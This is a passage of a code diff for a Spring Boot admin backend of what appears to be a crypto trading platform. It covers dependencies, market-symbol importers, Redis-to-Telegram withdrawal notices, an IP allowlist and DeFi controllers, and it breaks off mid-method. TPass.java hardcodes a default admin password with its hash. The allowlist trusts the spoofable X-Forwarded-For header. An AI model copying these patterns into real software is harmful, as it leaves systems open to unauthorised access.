<orderEntry type="library" name="Maven: io.grpc:grpc-protobuf-lite:1.31.0" level="project" />
<orderEntry type="library" name="Maven: com.google.guava:guava:29.0-android" level="project" />
<orderEntry type="library" name="Maven: com.google.guava:failureaccess:1.0.1" level="project" />
<orderEntry type="library" name="Maven: com.google.guava:listenablefuture:9999.0-empty-to-avoid-conflict-with-guava" level="project" />
<orderEntry type="library" name="Maven: org.checkerframework:checker-compat-qual:2.5.5" level="project" />
<orderEntry type="library" name="Maven: com.google.j2objc:j2objc-annotations:1.3" level="project" />
<orderEntry type="library" name="Maven: com.google.errorprone:error_prone_annotations:2.3.4" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: org.codehaus.mojo:animal-sniffer-annotations:1.18" level="project" />
<orderEntry type="library" name="Maven: io.grpc:grpc-core:1.31.0" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: com.google.android:annotations:4.1.1.4" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: io.perfmark:perfmark-api:0.19.0" level="project" />
<orderEntry type="library" name="Maven: io.grpc:grpc-netty-shaded:1.31.0" level="project" />
<orderEntry type="library" name="Maven: io.grpc:grpc-netty:1.31.0" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-codec-http2:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-common:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-buffer:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-transport:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-resolver:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-codec:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-handler:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-transport-native-unix-common:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.netty:netty-codec-http:4.1.92.Final" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-handler-proxy:4.1.92.Final" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: io.netty:netty-codec-socks:4.1.92.Final" level="project" />
<orderEntry type="library" name="Maven: io.grpc:grpc-stub:1.31.0" level="project" />
<orderEntry type="library" name="Maven: io.grpc:grpc-api:1.31.0" level="project" />
<orderEntry type="library" name="Maven: io.grpc:grpc-context:1.31.0" level="project" />
<orderEntry type="library" name="Maven: com.warrenstrange:googleauth:1.2.0" level="project" />
<orderEntry type="library" name="Maven: commons-codec:commons-codec:1.15" level="project" />
<orderEntry type="library" name="Maven: junit:junit:4.13.2" level="project" />
<orderEntry type="library" name="Maven: org.hamcrest:hamcrest-core:2.2" level="project" />
<orderEntry type="library" name="Maven: org.hamcrest:hamcrest:2.2" level="project" />
<orderEntry type="library" name="Maven: ch.qos.logback:logback-classic:1.2.12" level="project" />
<orderEntry type="library" name="Maven: ch.qos.logback:logback-core:1.2.12" level="project" />
<orderEntry type="library" name="Maven: commons-lang:commons-lang:2.6" level="project" />
<orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.47" level="project" />
<orderEntry type="library" name="Maven: com.huobi.linear.swap.api:huobi-linear-swap-api:1.0.1" level="project" />
<orderEntry type="library" name="Maven: io.github.binance:binance-connector-java:3.0.0rc3" level="project" />
<orderEntry type="library" name="Maven: org.bouncycastle:bcprov-jdk18on:1.73" level="project" />
<orderEntry type="library" name="Maven: com.google.zxing:core:3.3.3" level="project" />
<orderEntry type="library" name="Maven: com.google.zxing:javase:3.3.3" level="project" />
<orderEntry type="library" name="Maven: com.beust:jcommander:1.72" level="project" />
<orderEntry type="library" scope="RUNTIME" name="Maven: com.github.jai-imageio:jai-imageio-core:1.4.0" level="project" />
<orderEntry type="module" module-name="ruoyi-generator" />
<orderEntry type="library" name="Maven: org.apache.velocity:velocity-engine-core:2.3" level="project" />
<orderEntry type="library" name="Maven: commons-collections:commons-collections:3.2.2" level="project" />
<orderEntry type="library" name="Maven: cc.block.data:blockcc-api-client:1.3.2" level="project" />
<orderEntry type="library" name="Maven: com.squareup.retrofit2:retrofit:2.9.0" level="project" />
<orderEntry type="library" name="Maven: com.squareup.okhttp3:okhttp:4.9.0" level="project" />
<orderEntry type="library" name="Maven: com.squareup.okio:okio:2.8.0" level="project" />
<orderEntry type="library" name="Maven: com.squareup.retrofit2:converter-jackson:2.9.0" level="project" />
</component>
</module>

107
ruoyi-admin/pom.xml

@ -0,0 +1,107 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>ruoyi</artifactId>
<groupId>com.ruoyi</groupId>
<version>3.8.5</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<packaging>jar</packaging>
<artifactId>echo2-admin</artifactId>
<description>
web服务入口
</description>
<dependencies>
<!-- spring-boot-devtools -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional> <!-- 表示依赖不会传递 -->
</dependency>
<!-- swagger3-->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-boot-starter</artifactId>
</dependency>
<!-- 防止进入swagger页面报类型转换错误,排除3.0.0中的引用,手动增加1.6.2版本 -->
<dependency>
<groupId>io.swagger</groupId>
<artifactId>swagger-models</artifactId>
<version>1.6.2</version>
</dependency>
<!-- Mysql驱动包 -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
</dependency>
<!-- 核心模块-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-framework</artifactId>
</dependency>
<!-- 定时任务-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-quartz</artifactId>
</dependency>
<!-- 代码生成-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-generator</artifactId>
</dependency>
<dependency>
<groupId>cc.block.data</groupId>
<artifactId>blockcc-api-client</artifactId>
<version>1.3.2</version>
</dependency>
<dependency>
<groupId>cc.block.data</groupId>
<artifactId>blockcc-api-client</artifactId>
<version>1.3.2</version>
<scope>compile</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>2.1.1.RELEASE</version>
<configuration>
<fork>true</fork> <!-- 如果没有该配置,devtools不会生效 -->
</configuration>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<failOnMissingWebXml>false</failOnMissingWebXml>
<warName>${project.artifactId}</warName>
</configuration>
</plugin>
</plugins>
<finalName>${project.artifactId}</finalName>
</build>
</project>

31
ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java

@ -0,0 +1,31 @@
package com.ruoyi;
import com.ruoyi.framework.ethws.WebSocketClientFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration;
/**
* 启动程序
*
* @author ruoyi
*/
@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })
public class AdminApplication //implements ApplicationRunner
{
/* @Autowired
private WebSocketClientFactory webSocketClientFactory;*/
/* @Override
public void run(ApplicationArguments args) {
// 项目启动的时候打开websocket连接
webSocketClientFactory.retryOutCallWebSocketClient();
}*/
public static void main(String[] args)
{
SpringApplication.run(AdminApplication.class, args);
System.out.println("启动成功\n");
}
}

18
ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java

@ -0,0 +1,18 @@
package com.ruoyi;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
/**
* web容器中进行部署
*
* @author ruoyi
*/
public class RuoYiServletInitializer extends SpringBootServletInitializer
{
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application)
{
return application.sources(AdminApplication.class);
}
}

20
ruoyi-admin/src/main/java/com/ruoyi/TPass.java

@ -0,0 +1,20 @@
package com.ruoyi;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
/**
* @ClassName TPass
* @Description TODO
* @Author px
* @Version 1.0
*/
public class TPass {
public static void main(String[] args) {
//admin $2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
String temp=encoder.encode("admin@123!");
System.out.println(temp);
}
}

141
ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java

@ -0,0 +1,141 @@
package com.ruoyi.compent;
import cc.block.data.api.BlockccApiClientFactory;
import cc.block.data.api.BlockccApiRestClient;
import cc.block.data.api.domain.BlockccResponse;
import cc.block.data.api.domain.market.Market;
import cc.block.data.api.domain.market.Symbol;
import cc.block.data.api.domain.market.request.MarketParam;
import cc.block.data.api.domain.market.request.SymbolParam;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.ruoyi.bussiness.domain.KlineSymbol;
import com.ruoyi.bussiness.domain.TMarkets;
import com.ruoyi.bussiness.domain.TSymbols;
import com.ruoyi.bussiness.mapper.KlineSymbolMapper;
import com.ruoyi.bussiness.mapper.TSymbolsMapper;
import com.ruoyi.bussiness.service.ITMarketsService;
import com.ruoyi.bussiness.service.ITSymbolsService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
import javax.annotation.PostConstruct;
import java.util.List;
@Component
public class BeeBuildCompent {
public static final Logger log = LoggerFactory.getLogger(BeeBuildCompent.class);
@Value("${mifeng.api.eth}")
private String apiKey;
@Value("${mifeng.api.host}")
private String host;
@Autowired
ITMarketsService marketsService;
@Autowired
ITSymbolsService symbolsService;
@Autowired
KlineSymbolMapper klineSymbolMapper;
// @PostConstruct
private void buildHuobiCoin(){
HttpResponse execute = HttpUtil.createGet("https://api.huobi.pro/v1/common/currencys").execute();
if (execute.isOk()){
String result = execute.body();
JSONObject ret = JSONObject.parseObject(result);
JSONArray data =(JSONArray) ret.get("data");
for (Object coin: data) {
KlineSymbol query = new KlineSymbol();
String coin1 = (String) coin;
query.setSymbol(coin1);
query.setMarket("huobi");
List<KlineSymbol> klineSymbols = klineSymbolMapper.selectKlineSymbolList(query);
if(null==klineSymbols||klineSymbols.size()<1){
KlineSymbol klineSymbol = new KlineSymbol();
klineSymbol.setMarket("huobi");
klineSymbol.setSlug(coin1.toUpperCase());
klineSymbol.setSymbol(coin1);
TSymbols tSymbols = new TSymbols();
tSymbols.setSymbol(coin1.toUpperCase());
List<TSymbols> tSymbols1 = symbolsService.selectTSymbolsList(tSymbols);
if(null!=tSymbols1&&tSymbols1.size()>0){
TSymbols tSymbols2 = tSymbols1.get(0);
klineSymbol.setLogo(tSymbols2.getLogoUrl());
}
klineSymbolMapper.insertKlineSymbol(klineSymbol);
}
}
}
}
///sapi/v1/convert/exchangeInfo
// @PostConstruct
public void buildBinanceCoin(){
HttpResponse execute = HttpUtil.createGet("https://fapi.binance.com/fapi/v1/exchangeInfo").execute();
if (execute.isOk()){
String result = execute.body();
JSONObject ret = JSONObject.parseObject(result);
JSONArray data =(JSONArray) ret.get("symbols");
for (Object coin: data) {
KlineSymbol query = new KlineSymbol();
JSONObject coin1 = (JSONObject) coin;
String symbol = (String) coin1.get("baseAsset");
query.setSymbol(symbol);
query.setMarket("binance");
List<KlineSymbol> klineSymbols = klineSymbolMapper.selectKlineSymbolList(query);
if(null==klineSymbols||klineSymbols.size()<1){
KlineSymbol klineSymbol = new KlineSymbol();
klineSymbol.setMarket("binance");
klineSymbol.setSlug(symbol.toUpperCase());
klineSymbol.setSymbol(symbol);
TSymbols tSymbols = new TSymbols();
tSymbols.setSymbol(symbol.toUpperCase());
List<TSymbols> tSymbols1 = symbolsService.selectTSymbolsList(tSymbols);
if(null!=tSymbols1&&tSymbols1.size()>0){
TSymbols tSymbols2 = tSymbols1.get(0);
klineSymbol.setLogo(tSymbols2.getLogoUrl());
}
klineSymbolMapper.insertKlineSymbol(klineSymbol);
}
}
}
}
//
//@PostConstruct
public void buildExCoin(){
HttpResponse execute = HttpUtil.createGet("https://api-q.fx678img.com/exchangeSymbol.php?exchName=WH")
.header("referer", "https://quote.fx678.com/")
.header("Host", "api-q.fx678img.com")
.header("Origin", "https://quote.fx678.com").execute();
String logo ="https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/#.png";
KlineSymbol query = new KlineSymbol();
if (execute.isOk()){
String result = execute.body();
JSONArray objects = JSONArray.parseArray(result);
for (int a = 0 ;a<objects.size();a++){
JSONObject o =(JSONObject) objects.get(a);
String symbol = (String)o.get("i");
query.setSymbol(symbol);
query.setMarket("mt5");
List<KlineSymbol> klineSymbols = klineSymbolMapper.selectKlineSymbolList(query);
if(null==klineSymbols||klineSymbols.size()<1){
KlineSymbol klineSymbol = new KlineSymbol();
klineSymbol.setMarket("mt5");
klineSymbol.setSlug(symbol.toUpperCase());
klineSymbol.setSymbol(symbol);
klineSymbol.setLogo(logo.replace("#",symbol));
klineSymbolMapper.insertKlineSymbol(klineSymbol);
}
}
}
}
public static void main(String[] args) {
BeeBuildCompent beeBuildCompent =new BeeBuildCompent();
beeBuildCompent.buildExCoin();
}
}

95
ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java

@ -0,0 +1,95 @@
package com.ruoyi.config;
import com.ruoyi.bussiness.service.ITWithdrawService;
import com.ruoyi.common.utils.RedisUtil;
import com.ruoyi.listen.ListenerMessage;
import com.ruoyi.socket.service.MarketThread;
import com.ruoyi.socket.socketserver.WebSocketNotice;
import com.ruoyi.telegrambot.MyTelegramBot;
import lombok.extern.slf4j.Slf4j;
import lombok.var;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.redis.connection.RedisConnectionFactory;
import org.springframework.data.redis.connection.stream.Consumer;
import org.springframework.data.redis.connection.stream.ReadOffset;
import org.springframework.data.redis.connection.stream.RecordId;
import org.springframework.data.redis.connection.stream.StreamOffset;
import org.springframework.data.redis.stream.StreamMessageListenerContainer;
import org.springframework.data.redis.stream.Subscription;
import javax.annotation.PostConstruct;
import java.time.Duration;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @author Huhailong
* @Description 注入监听类
* @Date 2021/3/12.
*/
@Slf4j
@Configuration
public class RedisStreamConfig {
private final ListenerMessage streamListener; //监听类
private final RedisUtil redisUtil; //redis工具类
@Value("${admin-redis-stream.names}")
private String[]redisStreamNames; //redis stream 数组
@Value("${admin-redis-stream.groups}")
private String[]groups; //redis stream 群组数组
/**
* 注入工具类和监听类
*/
@Autowired
public RedisStreamConfig(RedisUtil redisUtil, List<MarketThread> marketThread, WebSocketNotice webSocketNotice, ITWithdrawService withdrawService, MyTelegramBot myTelegramBot){
this.redisUtil = redisUtil;
this.streamListener = new ListenerMessage(redisUtil,marketThread,webSocketNotice,withdrawService,myTelegramBot);
}
@Bean
public List<Subscription> subscription(RedisConnectionFactory factory){
List<Subscription> resultList = new ArrayList<>();
var options = StreamMessageListenerContainer
.StreamMessageListenerContainerOptions
.builder()
.pollTimeout(Duration.ofSeconds(1))
.build();
for (String redisStreamName : redisStreamNames) {
initStream(redisStreamName,groups[0]);
var listenerContainer = StreamMessageListenerContainer.create(factory,options);
Subscription subscription = listenerContainer.receiveAutoAck(Consumer.from(groups[0], this.getClass().getName()),
StreamOffset.create(redisStreamName, ReadOffset.lastConsumed()), streamListener);
resultList.add(subscription);
listenerContainer.start();
}
return resultList;
}
private void initStream(String key, String group){
boolean hasKey = redisUtil.hasKey(key);
if(!hasKey){
Map<String,Object> map = new HashMap<>();
map.put("field","value");
RecordId recordId = redisUtil.addStream(key, map);
redisUtil.addGroup(key,group);
//将初始化的值删除掉
redisUtil.delField(key,recordId.getValue());
log.debug("stream:{}-group:{} initialize success",key,group);
}
}
@PostConstruct
private void initStream(){
for (String redisStreamName : redisStreamNames) {
initStream(redisStreamName,groups[0]);
}
}
}

83
ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java

@ -0,0 +1,83 @@
package com.ruoyi.listen;
import com.alibaba.fastjson2.JSON;
import com.ruoyi.bussiness.domain.TAppRecharge;
import com.ruoyi.bussiness.domain.TWithdraw;
import com.ruoyi.bussiness.service.ITWithdrawService;
import com.ruoyi.common.constant.CacheConstants;
import com.ruoyi.common.enums.RecordEnum;
import com.ruoyi.common.utils.RedisUtil;
import com.ruoyi.socket.service.MarketThread;
import com.ruoyi.socket.socketserver.WebSocketNotice;
import com.ruoyi.telegrambot.MyTelegramBot;
import com.ruoyi.util.BotMessageBuildUtils;
import lombok.extern.slf4j.Slf4j;
import org.springframework.data.redis.connection.stream.MapRecord;
import org.springframework.data.redis.stream.StreamListener;
import org.springframework.stereotype.Component;
import org.telegram.telegrambots.meta.api.methods.send.SendMessage;
import javax.annotation.Resource;
import java.util.List;
import java.util.Map;
@Component
@Slf4j
public class ListenerMessage implements StreamListener<String, MapRecord<String, String, String>> {
ITWithdrawService withdrawService;
RedisUtil redisUtil;
List<MarketThread> marketThread;
WebSocketNotice webSocketNotice;
private MyTelegramBot myTelegramBot;
public ListenerMessage(RedisUtil redisUtil, List<MarketThread> marketThread, WebSocketNotice webSocketNotice, ITWithdrawService withdrawService,MyTelegramBot myTelegramBot){
this.redisUtil = redisUtil;
this.marketThread = marketThread;
this.webSocketNotice = webSocketNotice;
this.withdrawService = withdrawService;
this.myTelegramBot = myTelegramBot;
}
@Override
public void onMessage(MapRecord<String, String, String> entries) {
try{
//check用于验证key和对应消息是否一直
log.debug("stream name :{}, body:{}, check:{}",entries.getStream(),entries.getValue(),(entries.getStream().equals(entries.getValue().get("name"))));
String stream = entries.getStream();
switch (stream) {
case "notice_key":
Map<String,String> map =entries.getValue();
if(map.containsKey(CacheConstants.WITHDRAW_KEY)){
webSocketNotice.sendInfoAll(withdrawService,1);
}
if(map.containsKey(CacheConstants.RECHARGE_KEY)){
webSocketNotice.sendInfoAll(withdrawService,2);
}
if(map.containsKey(CacheConstants.VERIFIED_KEY)){
webSocketNotice.sendInfoAll(withdrawService,3);
}
if(map.containsKey(CacheConstants.WITHDRAW_KEY_BOT)){
String s = map.get(CacheConstants.WITHDRAW_KEY_BOT);
TWithdraw withdraw = JSON.parseObject(s, TWithdraw.class);
SendMessage sendMessage = BotMessageBuildUtils.buildText(RecordEnum.WITHDRAW.getCode(), null, withdraw);
myTelegramBot.toSend(sendMessage);
}
if(map.containsKey(CacheConstants.RECHARGE_KEY_BOT)){
String s = map.get(CacheConstants.RECHARGE_KEY_BOT);
TAppRecharge recharge = JSON.parseObject(s, TAppRecharge.class);
SendMessage sendMessage = BotMessageBuildUtils.buildText(RecordEnum.RECHARGE.getCode(), recharge, null);
myTelegramBot.toSend(sendMessage);
}
break;
default:
throw new IllegalStateException("Unexpected value: " + stream);
}
redisUtil.delField(entries.getStream(),entries.getId().getValue());
}catch (Exception e){
log.error("error message:{}",e.getMessage());
}
}
}

21
ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java

@ -0,0 +1,21 @@
package com.ruoyi.web;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Bean
public WhiteIpInterceptor whiteIpInterceptor() {
return new WhiteIpInterceptor();
}
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(whiteIpInterceptor()).addPathPatterns("/**");
}
}

97
ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java

@ -0,0 +1,97 @@
package com.ruoyi.web;
import cn.hutool.json.JSONUtil;
import com.ruoyi.bussiness.domain.setting.LoginRegisSetting;
import com.ruoyi.bussiness.domain.setting.Setting;
import com.ruoyi.bussiness.domain.setting.WhiteIpSetting;
import com.ruoyi.bussiness.service.SettingService;
import com.ruoyi.common.enums.SettingEnum;
import com.ruoyi.common.utils.StringUtils;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.CollectionUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.List;
import java.util.Objects;
@Slf4j
public class WhiteIpInterceptor implements HandlerInterceptor {
public static final String LOCALHOST = "127.0.0.1";
@Autowired
private SettingService settingService;
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
Setting setting = settingService.get(SettingEnum.WHITE_IP_SETTING.name());
if (Objects.isNull(setting)){
return true;
}else{
List<WhiteIpSetting> list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), WhiteIpSetting.class);
if(CollectionUtils.isEmpty(list)){
return true;
}else{
try {
String ip = getIpAddr(request);
for (WhiteIpSetting whiteIp:list) {
if (StringUtils.isNotEmpty(whiteIp.getIp()) && whiteIp.getIp().equals(ip)){
return true;
}
}
//拦截跳转
log.debug("ip:{} is not allowed.",ip);
return this.failInterceptor(response,ip);
}catch(Exception e){
log.error("Error occurred while checking the white ip ", e);
}
}
}
return false;
}
/**
* 拦截器过滤失败
*
* @param response
* @return
* @throws IOException
*/
public boolean failInterceptor(HttpServletResponse response,String ip) throws IOException {
try {
response.setCharacterEncoding("utf-8");
response.setContentType("text/html; charset=utf-8");
response.setStatus(403);
response.getWriter().println("Access denied: "+ip + ".登录其他账号请刷新页面");
response.getWriter().flush();
response.getWriter().close();
return false;
} catch (Exception e) {
log.error("Error occurred while checking the white ip ", e);
return false;
}
}
public static String getIpAddr(HttpServletRequest request) {
String ip = request.getHeader("x-forwarded-for");
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("Proxy-Client-IP");
}
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("WL-Proxy-Client-IP");
}
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
ip = request.getRemoteAddr();
}
if (ip.equals("0:0:0:0:0:0:0:1")) {
ip = LOCALHOST;
}
if (ip.split(",").length > 1) {
ip = ip.split(",")[0];
}
return ip;
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.DefiActivity;
import com.ruoyi.bussiness.service.IDefiActivityService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 空投活动Controller
*
* @author ruoyi
* @date 2023-08-17
*/
@RestController
@RequestMapping("/bussiness/activitydefi")
public class DefiActivityController extends BaseController
{
@Autowired
private IDefiActivityService defiActivityService;
/**
* 查询空投活动列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:activitydefi:list')")
@GetMapping("/list")
public TableDataInfo list(DefiActivity defiActivity)
{
startPage();
List<DefiActivity> list = defiActivityService.selectDefiActivityList(defiActivity);
return getDataTable(list);
}
/**
* 导出空投活动列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:activitydefi:export')")
@Log(title = "空投活动", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, DefiActivity defiActivity)
{
List<DefiActivity> list = defiActivityService.selectDefiActivityList(defiActivity);
ExcelUtil<DefiActivity> util = new ExcelUtil<DefiActivity>(DefiActivity.class);
util.exportExcel(response, list, "空投活动数据");
}
/**
* 获取空投活动详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:activitydefi:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(defiActivityService.selectDefiActivityById(id));
}
/**
* 新增空投活动
*/
@PreAuthorize("@ss.hasPermi('bussiness:activitydefi:add')")
@Log(title = "空投活动", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody DefiActivity defiActivity)
{
return toAjax(defiActivityService.insertDefiActivity(defiActivity));
}
/**
* 修改空投活动
*/
@PreAuthorize("@ss.hasPermi('bussiness:activitydefi:edit')")
@Log(title = "空投活动", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody DefiActivity defiActivity)
{
return toAjax(defiActivityService.updateDefiActivity(defiActivity));
}
/**
* 删除空投活动
*/
@PreAuthorize("@ss.hasPermi('bussiness:activitydefi:remove')")
@Log(title = "空投活动", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(defiActivityService.deleteDefiActivityByIds(ids));
}
}

116
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java

@ -0,0 +1,116 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.DefiOrder;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.service.IDefiOrderService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* defi订单Controller
*
* @author ruoyi
* @date 2023-08-17
*/
@RestController
@RequestMapping("/bussiness/orderdefi")
public class DefiOrderController extends BaseController
{
@Autowired
private IDefiOrderService defiOrderService;
/**
* 查询defi订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:orderdefi:list')")
@GetMapping("/list")
public TableDataInfo list(DefiOrder defiOrder)
{
startPage();
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
defiOrder.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
List<DefiOrder> list = defiOrderService.selectDefiOrderList(defiOrder);
return getDataTable(list);
}
/**
* 导出defi订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:orderdefi:export')")
@Log(title = "defi订单", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, DefiOrder defiOrder)
{
List<DefiOrder> list = defiOrderService.selectDefiOrderList(defiOrder);
ExcelUtil<DefiOrder> util = new ExcelUtil<DefiOrder>(DefiOrder.class);
util.exportExcel(response, list, "defi订单数据");
}
/**
* 获取defi订单详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:orderdefi:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(defiOrderService.selectDefiOrderById(id));
}
/**
* 新增defi订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:orderdefi:add')")
@Log(title = "defi订单", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody DefiOrder defiOrder)
{
return toAjax(defiOrderService.insertDefiOrder(defiOrder));
}
/**
* 修改defi订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:orderdefi:edit')")
@Log(title = "defi订单", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody DefiOrder defiOrder)
{
return toAjax(defiOrderService.updateDefiOrder(defiOrder));
}
/**
* 删除defi订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:orderdefi:remove')")
@Log(title = "defi订单", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
